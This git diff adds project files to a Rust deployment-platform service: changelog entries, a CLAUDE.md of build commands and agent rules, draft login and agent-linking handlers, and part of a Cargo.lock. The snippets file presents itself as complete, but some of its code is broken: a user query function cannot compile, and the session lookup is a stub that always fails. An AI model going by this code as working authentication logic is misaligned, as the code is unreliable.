`config_files`. +- **Fix**: + 1. Added `parse_env_file_content()` function to parse `.env` file content + 2. Supports both `KEY=value` (standard) and `KEY: value` (YAML-like) formats + 3. Modified `ProjectAppPostArgs::from()` to extract and parse `.env` file from `config_files` + 4. If `params.env` is empty, use parsed `.env` values for `project_app.environment` + 5. `params.env` (form fields) takes precedence if non-empty +- **Files Changed**: `src/project_app/mapping.rs` +- **Tests Added**: + - `test_env_config_file_parsed_into_environment` + - `test_env_config_file_standard_format` + - `test_params_env_takes_precedence` + - `test_empty_env_file_ignored` + +## 2026-01-29 + +### Added - Unified Configuration Management System + +#### ConfigRenderer Service (`src/services/config_renderer.rs`) +- New `ConfigRenderer` service that converts `ProjectApp` records to deployable configuration files +- Tera template engine integration for rendering docker-compose.yml and .env files +- Embedded templates: `docker-compose.yml.tera`, `env.tera`, `service.tera` +- Support for multiple input formats: JSON object, JSON array, string (docker-compose style) +- Automatic Vault sync via `sync_to_vault()` and `sync_app_to_vault()` methods + +#### ProjectAppService (`src/services/project_app_service.rs`) +- High-level service wrapping database operations with automatic Vault sync +- Create/Update/Delete operations trigger config rendering and Vault storage +- `sync_all_to_vault()` for bulk deployment sync +- `preview_bundle()` for config preview without syncing +- Validation for app code format, required fields + +#### Config Versioning (`project_app` table) +- New columns: `config_version`, `vault_synced_at`, `vault_sync_version`, `config_hash` +- `needs_vault_sync()` method to detect out-of-sync configs +- `increment_version()` and `mark_synced()` helper methods +- Migration: `20260129120000_add_config_versioning` + +#### Dependencies +- Added `tera = "1.19.1"` for template rendering + +## 2026-01-26 + +### Fixed - Deployment Hash Not Sent to Install Service + +#### Bug Fix: `saved_item()` endpoint missing `deployment_hash` in RabbitMQ payload +- **Issue**: The `POST /{id}/deploy/{cloud_id}` endpoint (for deployments with saved cloud credentials) was generating a `deployment_hash` and saving it to the database, but NOT including it in the RabbitMQ message payload sent to the install service. +- **Root Cause**: In `src/routes/project/deploy.rs`, the `saved_item()` function published the payload without setting `payload.deployment_hash`, unlike the `item()` function which correctly delegates to `InstallServiceClient.deploy()`. +- **Fix**: Added `payload.deployment_hash = Some(deployment_hash.clone())` before publishing to RabbitMQ. +- **Files Changed**: `src/routes/project/deploy.rs` + +## 2026-01-24 + +### Added - App Configuration Editor (Backend) + +#### Project App Model & Database (`project_app`) +- New `ProjectApp` model with fields: environment (JSONB), ports (JSONB), volumes, domain, ssl_enabled, resources, restart_policy, command, entrypoint, networks, depends_on, healthcheck, labels, enabled, deploy_order +- Database CRUD operations in `src/db/project_app.rs`: fetch, insert, update, delete, fetch_by_project_and_code +- Migration `20260122120000_create_project_app_table` with indexes and triggers + +#### REST API Routes (`/project/{id}/apps/*`) +- `GET /project/{id}/apps` - List all apps for a project +- `GET /project/{id}/apps/{code}` - Get single app details +- `DELETE /project/{id}/apps/{code}` - Delete a saved app from a project +- `GET /project/{id}/apps/{code}/config` - Get full app configuration +- `GET /project/{id}/apps/{code}/env` - Get environment variables (sensitive values redacted) +- `PUT /project/{id}/apps/{code}/env` - Update environment variables +- `PUT /project/{id}/apps/{code}/ports` - Update port mappings +- `PUT /project/{id}/apps/{code}/domain` - Update domain/SSL settings + +#### Support Documentation +- Added `docs/SUPPORT_ESCALATION_GUIDE.md` - AI support escalation handling for support team + +### Fixed - MCP Tools Type Errors +- Fixed type comparison errors in `compose.rs` and `config.rs`: + - `project.user_id` is `String` (not `Option`) - use direct comparison + - `deployment.user_id` is `Option` - use `as_deref()` for comparison + - `app.code` and `app.image` are `String` (not `Option`) + - Replaced non-existent `cpu_limit`/`memory_limit` fields with `resources` JSONB + +## 2026-01-23 + +### Added - Vault Configuration Management + +#### Vault Configuration Tools (Phase 5 continuation) +- `get_vault_config`: Fetch app configuration from HashiCorp Vault by deployment hash and app code +- `set_vault_config`: Store app configuration in Vault (content, content_type, destination_path, file_mode) +- `list_vault_configs`: List all app configurations stored in Vault for a deployment +- `apply_vault_config`: Queue apply_config command to Status Panel agent for config deployment + +#### VaultService (`src/services/vault_service.rs`) +- New service for Vault KV v2 API integration +- Path template: `{prefix}/{deployment_hash}/apps/{app_name}/config` +- Methods: `fetch_app_config()`, `store_app_config()`, `list_app_configs()`, `delete_app_config()` +- Environment config: `VAULT_ADDRESS`, `VAULT_TOKEN`, `VAULT_AGENT_PATH_PREFIX` + +### Changed +- Updated `src/services/mod.rs` to export `VaultService`, `AppConfig`, `VaultError` +- Updated `src/mcp/registry.rs` to register 4 new Vault config tools (total: 41 tools) + +## 2026-01-22 + +### Added - Phase 5: Agent-Based App Deployment & Configuration Management + +#### Container Operations Tools +- `stop_container`: Gracefully stop a specific container in a deployment with configurable timeout +- `start_container`: Start a previously stopped container +- `get_error_summary`: Analyze container logs and return categorized error counts, patterns, and suggestions + +#### App Configuration Management Tools (new `config.rs` module) +- `get_app_env_vars`: View environment variables for an app (with automatic redaction of sensitive values) +- `set_app_env_var`: Create or update an environment variable +- `delete_app_env_var`: Remove an environment variable +- `get_app_config`: Get full app configuration including ports, volumes, domain, SSL, and resource limits +- `update_app_ports`: Configure port mappings for an app +- `update_app_domain`: Set domain and SSL configuration for web apps + +#### Stack Validation Tool +- `validate_stack_config`: Pre-deployment validation checking for missing images, port conflicts, database passwords, and common misconfigurations + +#### Integration Testing & Documentation +- Added `stacker/tests/mcp_integration.rs`: Comprehensive User Service integration tests +- Added `stacker/docs/SLACK_WEBHOOK_SETUP.md`: Production Slack webhook configuration guide +- Added new environment variables to `env.dist`: `SLACK_SUPPORT_WEBHOOK_URL`, `TAWK_TO_*`, `USER_SERVICE_URL` + +### Changed +- Updated `stacker/src/mcp/tools/mod.rs` to export new `config` module +- Updated `stacker/src/mcp/registry.rs` to register 10 new MCP tools (total: 37 tools) +- Updated AI-INTEGRATION-PLAN.md with Phase 5 implementation status and test documentation + +## 2026-01-06 + +### Added +- Real HTTP-mocked tests for `UserServiceClient` covering user profile retrieval, product lookups, and template ownership checks. +- Integration-style webhook tests that verify the payloads emitted by `MarketplaceWebhookSender` for approved, updated, and rejected templates. +- Deployment validation tests ensuring plan gating and marketplace ownership logic behave correctly for free, paid, and plan-restricted templates. + +## 2026-01-16 + +### Added +- Configurable agent command polling defaults via config and environment variables. +- Configurable Casbin reload enablement and interval. + +### Changed +- OAuth token validation uses a shared HTTP client and short-lived cache for reduced latency. +- Agent command polling endpoint accepts optional `timeout` and `interval` parameters. +- Casbin reload is guarded to avoid blocking request handling and re-applies route matching after reload. + +### Fixed +- Status panel command updates query uses explicit bindings to avoid SQLx type inference errors. diff --git a/stacker/stacker/CLAUDE.md b/stacker/stacker/CLAUDE.md new file mode 100644 index 0000000..c9bcfdb --- /dev/null +++ b/stacker/stacker/CLAUDE.md @@ -0,0 +1,103 @@ +# Stacker + +Core platform API service. Manages projects, stacks, cloud deployments, user access control, and marketplace. Exposes REST API consumed by the blog frontend and admin UI. + +## Tech Stack +- **Language**: Rust (2021 edition) +- **Framework**: Actix-web 4.3.1 +- **Database**: PostgreSQL (sqlx 0.8.2 with compile-time checked queries) +- **Auth**: Casbin RBAC (casbin 2.2.0, actix-casbin-auth) +- **Async**: Tokio (full features) +- **Message Queue**: RabbitMQ (lapin + deadpool-lapin) +- **Cache**: Redis (redis 0.27.5 with tokio-comp) +- **SSH**: russh 0.58 (remote server management) +- **Templates**: Tera 1.19.1 +- **Crypto**: AES-GCM, HMAC-SHA256, Ed25519 SSH keys +- **Validation**: serde_valid 0.18.0 +- **Testing**: wiremock, mockito, assert_cmd + +## Project Structure +``` +src/ + lib.rs # Library root + main.rs # Server binary entry + configuration.rs # Config loading (configuration.yaml) + startup.rs # Server initialization + telemetry.rs # Tracing/logging setup + banner.rs # Startup banner + project_app/ # Core project/stack management + upsert.rs # Create/update projects + mapping.rs # Data mapping + hydration.rs # Data hydration from DB + vault.rs # Vault secrets integration + tests.rs # Module tests + forms/ # Request validation + cloud.rs # Cloud provider forms + server.rs # Server forms + connectors/ # External service connectors + dockerhub_service.rs # DockerHub API + config.rs # Connector configuration + errors.rs # Error types + middleware/ # HTTP middleware + authorization.rs # Casbin RBAC middleware + mod.rs # Middleware registration +migrations/ # sqlx PostgreSQL migrations (up/down pairs) +configuration.yaml # Runtime configuration +access_control.conf # Casbin RBAC policy +``` + +## Binaries +- **server** — main API server (Actix-web) +- **console** — admin console commands +- **stacker-cli** — CLI tool for stack management + +## Commands +```bash +# Build (offline mode for CI without DB) +SQLX_OFFLINE=true cargo build + +# Run tests +cargo test + +# Run specific test +cargo test test_name + +# Run with features +cargo test --features explain + +# Database migrations +sqlx migrate run +sqlx migrate revert + +# Prepare offline query data +cargo sqlx prepare + +# Format & lint +cargo fmt +cargo clippy -- -D warnings + +# Run server +cargo run --bin server + +# Run CLI +cargo run --bin stacker-cli -- +``` + +## Critical Rules +- NEVER modify migration .up.sql/.down.sql files that have been applied to production +- ALWAYS create new migration files for schema changes: `sqlx migrate add ` +- ALWAYS run `cargo sqlx prepare` after changing any sqlx queries +- ALWAYS use compile-time checked queries with sqlx macros +- ALWAYS test with `cargo test` after every change +- Casbin policies in access_control.conf must be reviewed for any auth changes +- SSH key operations must handle cleanup on failure +- Vault secrets must never be logged or serialized to responses +- Use `SQLX_OFFLINE=true` for builds without database access +- Do not yet add to repo .claude CLAUDE.md .copilot related files + +## Agents +- Use `planner` before any feature work or refactoring +- Use `tester` after every code change (must run cargo test) +- Use `code-reviewer` before commits — focus on security and SQL safety +- Use `migration-checker` for any database schema changes +- Use `api-reviewer` when adding or modifying REST endpoints \ No newline at end of file diff --git a/stacker/stacker/CODE_SNIPPETS.md b/stacker/stacker/CODE_SNIPPETS.md new file mode 100644 index 0000000..63b71b0 --- /dev/null +++ b/stacker/stacker/CODE_SNIPPETS.md @@ -0,0 +1,605 @@ +# Complete Code Snippets for Implementation + +## 1. src/routes/auth/login.rs + +```rust +use crate::db; +use crate::helpers::JsonResponse; +use crate::models::{self, User}; +use actix_web::{post, web, HttpResponse, Result}; +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; + +#[derive(Debug, Deserialize)] +pub struct LoginRequest { + pub email: String, + pub password: String, +} + +#[derive(Debug, Serialize)] +pub struct LoginResponse { + pub session_token: String, + pub user: UserInfo, + pub deployments: Vec, +} + +#[derive(Debug, Serialize)] +pub struct UserInfo { + pub id: String, + pub email: String, + pub first_name: String, + pub last_name: String, + pub role: String, +} + +#[derive(Debug, Serialize)] +pub struct DeploymentInfo { + pub id: i32, + pub project_id: i32, + pub deployment_hash: String, + pub status: String, + pub created_at: DateTime, +} + +fn generate_session_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +fn verify_password(password: &str, hash: &str) -> Result { + // Use bcrypt crate: password_hash = bcrypt::hash(password, 12)? + bcrypt::verify(password, hash).map_err(|e| format!("Password verification failed: {}", e)) +} + +#[tracing::instrument(name = "User login", skip(req, pool, vault_client))] +#[post("/login")] +pub async fn login_handler( + req: web::Json, + pool: web::Data, + vault_client: web::Data, +) -> Result { + // 1. Validate input + if req.email.trim().is_empty() { + return Err(JsonResponse::::build().bad_request("email is required")); + } + if req.password.trim().is_empty() { + return Err(JsonResponse::::build().bad_request("password is required")); + } + + // 2. Query user by email + let user = db::user::fetch_by_email(pool.get_ref(), &req.email) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let user = match user { + Some(u) => u, + None => { + tracing::warn!("Login attempt with non-existent email: {}", req.email); + return Err(JsonResponse::::build().forbidden("Invalid credentials")); + } + }; + + // 3. Verify password + if !verify_password(&req.password, &user.password_hash) + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + { + tracing::warn!("Failed login attempt for: {}", req.email); + return Err(JsonResponse::::build().forbidden("Invalid credentials")); + } + + // 4. Generate session token + let session_token = generate_session_token(); + + // 5. Store session token in Vault asynchronously + let vault = vault_client.clone(); + let user_id = user.id.clone(); + let token = session_token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_session_token(&user_id, &token).await.is_ok() { + tracing::info!("Session token stored in Vault for user {}", user_id); + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } + }); + + // 6. Fetch user deployments + let deployments = db::deployment::fetch_by_user(pool.get_ref(), &user.id, 100) + .await + .unwrap_or_default() + .into_iter() + .map(|d| DeploymentInfo { + id: d.id, + project_id: d.project_id, + deployment_hash: d.deployment_hash, + status: d.status, + created_at: d.created_at, + }) + .collect(); + + // 7. Log audit event + let audit_log = models::AuditLog::new( + None, + None, + "user.login".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "user_id": user.id, + "email": user.email, + })); + + let _ = db::agent::log_audit(pool.get_ref(), audit_log).await; + + // 8. Return response + Ok(HttpResponse::Ok().json(JsonResponse::build() + .set_item(LoginResponse { + session_token, + user: UserInfo { + id: user.id, + email: user.email, + first_name: user.first_name, + last_name: user.last_name, + role: user.role, + }, + deployments, + }) + .to_json_response())) +} +``` + +--- + +## 2. src/routes/auth/mod.rs + +```rust +pub mod login; + +pub use login::*; +``` + +--- + +## 3. src/routes/agent/link.rs + +```rust +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{post, web, HttpResponse, Result}; +use serde::{Deserialize, Serialize}; +use sqlx::PgPool; +use uuid::Uuid; + +#[derive(Debug, Deserialize)] +pub struct LinkAgentRequest { + pub session_token: String, + pub deployment_id: i32, + pub fingerprint: String, +} + +#[derive(Debug, Serialize)] +pub struct LinkAgentResponse { + pub agent_id: String, + pub deployment_id: i32, + pub credentials: AgentCredentials, +} + +#[derive(Debug, Serialize)] +pub struct AgentCredentials { + pub token: String, + pub deployment_hash: String, + pub server_url: String, +} + +fn generate_agent_token() -> String { + use rand::Rng; + const CHARSET: &[u8] = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; + let mut rng = rand::thread_rng(); + (0..86) + .map(|_| { + let idx = rng.gen_range(0..CHARSET.len()); + CHARSET[idx] as char + }) + .collect() +} + +#[tracing::instrument(name = "Link agent to deployment", skip(pool, vault_client, settings))] +#[post("/link")] +pub async fn link_handler( + req: web::Json, + pool: web::Data, + vault_client: web::Data, + settings: web::Data, +) -> Result { + // 1. Validate input + if req.session_token.trim().is_empty() { + return Err(JsonResponse::::build().bad_request("session_token is required")); + } + if req.fingerprint.trim().is_empty() { + return Err(JsonResponse::::build().bad_request("fingerprint is required")); + } + + // 2. Fetch session user_id from Vault + let user_id = vault_client + .fetch_session_user_id(&req.session_token) + .await + .map_err(|_err| { + tracing::warn!("Invalid or expired session token"); + JsonResponse::::build().forbidden("Invalid or expired session") + })?; + + // 3. Fetch deployment and verify user owns it + let deployment = db::deployment::fetch(pool.get_ref(), req.deployment_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let deployment = match deployment { + Some(d) => d, + None => { + return Err(JsonResponse::::build() + .not_found("Deployment not found")); + } + }; + + // Verify user owns this deployment + if deployment.user_id.as_deref() != Some(&user_id) { + tracing::warn!( + "Unauthorized link attempt by user {} for deployment {}", + user_id, + req.deployment_id + ); + return Err(JsonResponse::::build() + .forbidden("You do not own this deployment")); + } + + // 4. Check if agent already linked + let existing_agent = db::agent::fetch_by_deployment_hash( + pool.get_ref(), + &deployment.deployment_hash, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let (agent_id, agent_token) = if let Some(agent) = existing_agent { + // Reuse existing agent + let token = vault_client + .fetch_agent_token(&deployment.deployment_hash) + .await + .map_err(|_| { + JsonResponse::::build() + .internal_server_error("Failed to fetch agent token") + })?; + + (agent.id.to_string(), token) + } else { + // Create new agent + let mut agent = models::Agent::new(deployment.deployment_hash.clone()); + agent.system_info = Some(serde_json::json!({ + "linked_at": chrono::Utc::now(), + "fingerprint": req.fingerprint, + })); + + let saved_agent = db::agent::insert(pool.get_ref(), agent) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let token = generate_agent_token(); + + // Store token in Vault asynchronously + let vault = vault_client.clone(); + let hash = deployment.deployment_hash.clone(); + let token_copy = token.clone(); + actix_web::rt::spawn(async move { + for retry in 0..3 { + if vault.store_agent_token(&hash, &token_copy).await.is_ok() { + tracing::info!("Agent token stored in Vault for {}", hash); + break; + } + tokio::time::sleep(tokio::time::Duration::from_secs(2_u64.pow(retry))).await; + } + }); + + (saved_agent.id.to_string(), token) + }; + + // 5. Log audit event + let audit_log = models::AuditLog::new( + None, + Some(deployment.deployment_hash.clone()), + "agent.linked".to_string(), + Some("success".to_string()), + ) + .with_details(serde_json::json!({ + "user_id": user_id, + "deployment_id": req.deployment_id, + "agent_id": agent_id, + "fingerprint": req.fingerprint, + })); + + let _ = db::agent::log_audit(pool.get_ref(), audit_log).await; + + // 6. Return credentials + Ok(HttpResponse::Ok().json(JsonResponse::build() + .set_item(LinkAgentResponse { + agent_id, + deployment_id: req.deployment_id, + credentials: AgentCredentials { + token: agent_token, + deployment_hash: deployment.deployment_hash, + server_url: settings.server.base_url.clone(), + }, + }) + .to_json_response())) +} +``` + +--- + +## 4. src/routes/agent/mod.rs (Updated) + +```rust +mod enqueue; +mod link; +mod register; +mod report; +mod snapshot; +mod wait; + +pub use enqueue::*; +pub use link::*; +pub use register::*; +pub use report::*; +pub use snapshot::*; +pub use wait::*; +``` + +--- + +## 5. src/routes/mod.rs (Updated) + +Add this line after existing module declarations: + +```rust +pub(crate) mod auth; // Add this +pub(crate) mod agent; +// ... rest of modules +``` + +--- + +## 6. src/db/user.rs + +```rust +use crate::models::User; +use sqlx::PgPool; + +pub async fn fetch_by_email(pool: &PgPool, email: &str) -> Result, String> { + let query_span = tracing::info_span!("Fetching user by email"); + sqlx::query_as::<_, (String, String, String, String, String, String, bool)>( + r#" + SELECT id, email, password_hash, first_name, last_name, role, email_confirmed + FROM users + WHERE email = $1 + LIMIT 1 + "#, + ) + .bind(email) + .fetch_optional(pool) + .await + .map_err(|err| { + tracing::error!("Failed to fetch user by email: {:?}", err); + "Database error".to_string() + })? + .map(|(id, email, password_hash, first_name, last_name, role, email_confirmed)| User { + id, + email, + first_name, + last_name, + role, + email_confirmed, + access_token: None, + }) + .map(Some) + .or_else(|| Ok(None)) + .map_err(|_| "Database error".to_string()) + .ok() + .flatten() +} +``` + +Note: This requires the existing `User` model to have a `password_hash` field. Update `src/models/user.rs` if needed: + +```rust +#[derive(Debug, Deserialize, Clone)] +pub struct User { + pub id: String, + pub first_name: String, + pub last_name: String, + pub email: String, + pub role: String, + pub email_confirmed: bool, + #[serde(skip)] + pub password_hash: String, // ADD THIS + #[serde(skip)] + pub access_token: Option, +} +``` + +--- + +## 7. src/startup.rs (Updated) + +Add this in the `.service()` chain around line 191-210: + +```rust +.service( + web::scope("/api") + .service(crate::routes::marketplace::categories::list_handler) + // ... existing template services ... + .service( + web::scope("/v1/auth") + .service(routes::auth::login_handler), + ) + .service( + web::scope("/v1/agent") + .service(routes::agent::register_handler) + .service(routes::agent::enqueue_handler) + .service(routes::agent::wait_handler) + .service(routes::agent::report_handler) + .service(routes::agent::snapshot_handler) + .service(routes::agent::link_handler), // ADD THIS + ) + // ... rest of services ... +) +``` + +--- + +## 8. VaultClient Extensions (src/helpers/vault.rs) + +Add these methods to the `impl VaultClient` block: + +```rust +/// Store session token in Vault at sessions/{user_id}/token +#[tracing::instrument(name = "Store session token in Vault", skip(self, token))] +pub async fn store_session_token( + &self, + user_id: &str, + token: &str, +) -> Result<(), String> { + let base = self.address.trim_end_matches('/'); + let prefix = self.api_prefix.trim_matches('/'); + let path = if prefix.is_empty() { + format!("{}/sessions/{}/token", base, user_id) + } else { + format!("{}/{}/sessions/{}/token", base, prefix, user_id) + }; + + let payload = serde_json::json!({ + "data": { + "token": token, + "user_id": user_id, + "created_at": chrono::Utc::now().to_rfc3339(), + } + }); + + self.client + .post(&path) + .header("X-Vault-Token", &self.token) + .json(&payload) + .send() + .await + .map_err(|e| { + tracing::error!("Failed to store session token in Vault: {:?}", e); + format!("Vault store error: {}", e) + })? + .error_for_status() + .map_err(|e| { + tracing::error!("Vault returned error status: {:?}", e); + format!("Vault error: {}", e) + })?; + + tracing::info!("Stored session token in Vault for user: {}", user_id); + Ok(()) +} + +/// Fetch session user_id from Vault by session token +#[tracing::instrument(name = "Fetch session user_id from Vault", skip(self))] +pub async fn fetch_session_user_id(&self, token: &str) -> Result { + let base = self.address.trim_end_matches('/'); + let prefix = self.api_prefix.trim_matches('/'); + + // Try to find session by token (may require a special endpoint or lookup table in Vault) + // For now, assume Vault stores sessions in a specific path + // You might need to implement a custom Vault endpoint or use a lookup service + + // Alternative: Store sessions in DB with expiration instead of Vault + // This is simpler and recommended for session management + + Err("Session lookup not yet implemented - use DB instead of Vault for sessions".to_string()) +} +``` + +--- + +## 9. Database Migration SQL + +Create a new migration file in `migrations/`: + +```sql +-- Create users table +CREATE TABLE IF NOT EXISTS users ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + email TEXT UNIQUE NOT NULL, + password_hash TEXT NOT NULL, + first_name TEXT NOT NULL, + last_name TEXT NOT NULL, + role TEXT NOT NULL DEFAULT 'user', + email_confirmed BOOLEAN DEFAULT false, + created_at TIMESTAMPTZ DEFAULT NOW() AT TIME ZONE 'utc', + updated_at TIMESTAMPTZ DEFAULT NOW() AT TIME ZONE 'utc' +); + +CREATE INDEX IF NOT EXISTS idx_users_email ON users(email); + +-- Create sessions table (better for temporary tokens than Vault) +CREATE TABLE IF NOT EXISTS sessions ( + id UUID PRIMARY KEY DEFAULT gen_random_uuid(), + user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE, + token TEXT UNIQUE NOT NULL, + expires_at TIMESTAMPTZ NOT NULL, + created_at TIMESTAMPTZ DEFAULT NOW() AT TIME ZONE 'utc' +); + +CREATE INDEX IF NOT EXISTS idx_sessions_user_id ON sessions(user_id); +CREATE INDEX IF NOT EXISTS idx_sessions_token ON sessions(token); +``` + +--- + +## 10. Recommended: Use Database for Sessions Instead of Vault + +Update `src/routes/auth/login.rs`: + +```rust +// Store in DB instead of Vault +let session = models::Session::new( + user.id.clone(), + session_token.clone(), + chrono::Duration::hours(24), // 24-hour expiration +); + +db::session::insert(pool.get_ref(), session) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; +``` + +And `src/routes/agent/link.rs`: + +```rust +// Fetch from DB instead of Vault +let session = db::session::fetch_by_token(pool.get_ref(), &req.session_token) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + +let session = match session { + Some(s) if s.is_valid() => s, + _ => { + return Err(JsonResponse::::build() + .forbidden("Invalid or expired session")); + } +}; + +let user_id = session.user_id; +``` + diff --git a/stacker/stacker/Cargo.lock b/stacker/stacker/Cargo.lock new file mode 100644 index 0000000..0776871 --- /dev/null +++ b/stacker/stacker/Cargo.lock @@ -0,0 +1,8460 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 4 + +[[package]] +name = "actix" +version = "0.13.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de7fa236829ba0841304542f7614c42b80fca007455315c45c785ccfa873a85b" +dependencies = [ + "actix-macros", + "actix-rt", + "actix_derive", + "bitflags 2.11.0", + "bytes", + "crossbeam-channel", + "futures-core", + "futures-sink", + "futures-task", + "futures-util", + "log", + "once_cell", + "parking_lot", + "pin-project-lite", + "smallvec", + "tokio", + "tokio-util", +] + +[[package]] +name = "actix-casbin-auth" +version = "1.1.0" +source = "git+https://github.com/casbin-rs/actix-casbin-auth.git#d86578ce568b0280734fa5e98f8da97089f59a8a" +dependencies = [ + "actix-service", + "actix-web", + "casbin", + "futures", + "tokio", +] + +[[package]] +name = "actix-codec" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f7b0a21988c1bf877cf4759ef5ddaac04c1c9fe808c9142ecb78ba97d97a28a" +dependencies = [ + "bitflags 2.11.0", + "bytes", + "futures-core", + "futures-sink", + "memchr", + "pin-project-lite", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "actix-cors" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daa239b93927be1ff123eebada5a3ff23e89f0124ccb8609234e5103d5a5ae6d" +dependencies = [ + "actix-utils", + "actix-web", + "derive_more", + "futures-util", + "log", + "once_cell", + "smallvec", +] + +[[package]] +name = "actix-files" +version = "0.6.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df8c4f30e3272d7c345f88ae0aac3848507ef5ba871f9cc2a41c8085a0f0523b" +dependencies = [ + "actix-http", + "actix-service", + "actix-utils", + "actix-web", + "bitflags 2.11.0", + "bytes", + "derive_more", + "futures-core", + "http-range", + "log", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "v_htmlescape", +] + +[[package]] +name = "actix-http" +version = "3.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f860ee6746d0c5b682147b2f7f8ef036d4f92fe518251a3a35ffa3650eafdf0e" +dependencies = [ + "actix-codec", + "actix-rt", + "actix-service", + "actix-utils", + "base64 0.22.1", + "bitflags 2.11.0", + "brotli 8.0.2", + "bytes", + "bytestring", + "derive_more", + "encoding_rs", + "flate2", + "foldhash", + "futures-core", + "h2 0.3.27", + "http 0.2.12", + "httparse", + "httpdate", + "itoa", + "language-tags", + "local-channel", + "mime", + "percent-encoding", + "pin-project-lite", + "rand 0.9.2", + "sha1 0.10.6", + "smallvec", + "tokio", + "tokio-util", + "tracing", + "zstd", +] + +[[package]] +name = "actix-macros" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e01ed3140b2f8d422c68afa1ed2e85d996ea619c988ac834d255db32138655cb" +dependencies = [ + "quote", + "syn 2.0.117", +] + +[[package]] +name = "actix-router" +version = "0.5.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14f8c75c51892f18d9c46150c5ac7beb81c95f78c8b83a634d49f4ca32551fe7" +dependencies = [ + "bytestring", + "cfg-if", + "http 0.2.12", + "regex", + "regex-lite", + "serde", + "tracing", +] + +[[package]] +name = "actix-rt" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92589714878ca59a7626ea19734f0e07a6a875197eec751bb5d3f99e64998c63" +dependencies = [ + "futures-core", + "tokio", +] + +[[package]] +name = "actix-server" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a65064ea4a457eaf07f2fba30b4c695bf43b721790e9530d26cb6f9019ff7502" +dependencies = [ + "actix-rt", + "actix-service", + "actix-utils", + "futures-core", + "futures-util", + "mio", + "socket2 0.5.10", + "tokio", + "tracing", +] + +[[package]] +name = "actix-service" +version = "2.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e46f36bf0e5af44bdc4bdb36fbbd421aa98c79a9bce724e1edeb3894e10dc7f" +dependencies = [ + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "actix-utils" +version = "3.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "88a1dcdff1466e3c2488e1cb5c36a71822750ad43839937f85d2f4d9f8b705d8" +dependencies = [ + "local-waker", + "pin-project-lite", +] + +[[package]] +name = "actix-web" +version = "4.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff87453bc3b56e9b2b23c1cc0b1be8797184accf51d2abe0f8a33ec275d316bf" +dependencies = [ + "actix-codec", + "actix-http", + "actix-macros", + "actix-router", + "actix-rt", + "actix-server", + "actix-service", + "actix-utils", + "actix-web-codegen", + "bytes", + "bytestring", + "cfg-if", + "cookie", + "derive_more", + "encoding_rs", + "foldhash", + "futures-core", + "futures-util", + "impl-more", + "itoa", + "language-tags", + "log", + "mime", + "once_cell", + "pin-project-lite", + "regex", + "regex-lite", + "serde", + "serde_json", + "serde_urlencoded", + "smallvec", + "socket2 0.6.3", + "time", + "tracing", + "url", +] + +[[package]] +name = "actix-web-actors" +version = "4.3.1+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98c5300b38fd004fe7d2a964f9a90813fdbe8a81fed500587e78b1b71c6f980" +dependencies = [ + "actix", + "actix-codec", + "actix-http", + "actix-web", + "bytes", + "bytestring", + "futures-core", + "pin-project-lite", + "tokio", + "tokio-util", +] + +[[package]] +name = "actix-web-codegen" +version = "4.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f591380e2e68490b5dfaf1dd1aa0ebe78d84ba7067078512b4ea6e4492d622b8" +dependencies = [ + "actix-router", + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "actix_derive" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6ac1e58cded18cb28ddc17143c4dea5345b3ad575e14f32f66e4054a56eb271" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common 0.1.7", + "generic-array 0.14.7", +] + +[[package]] +name = "aes" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 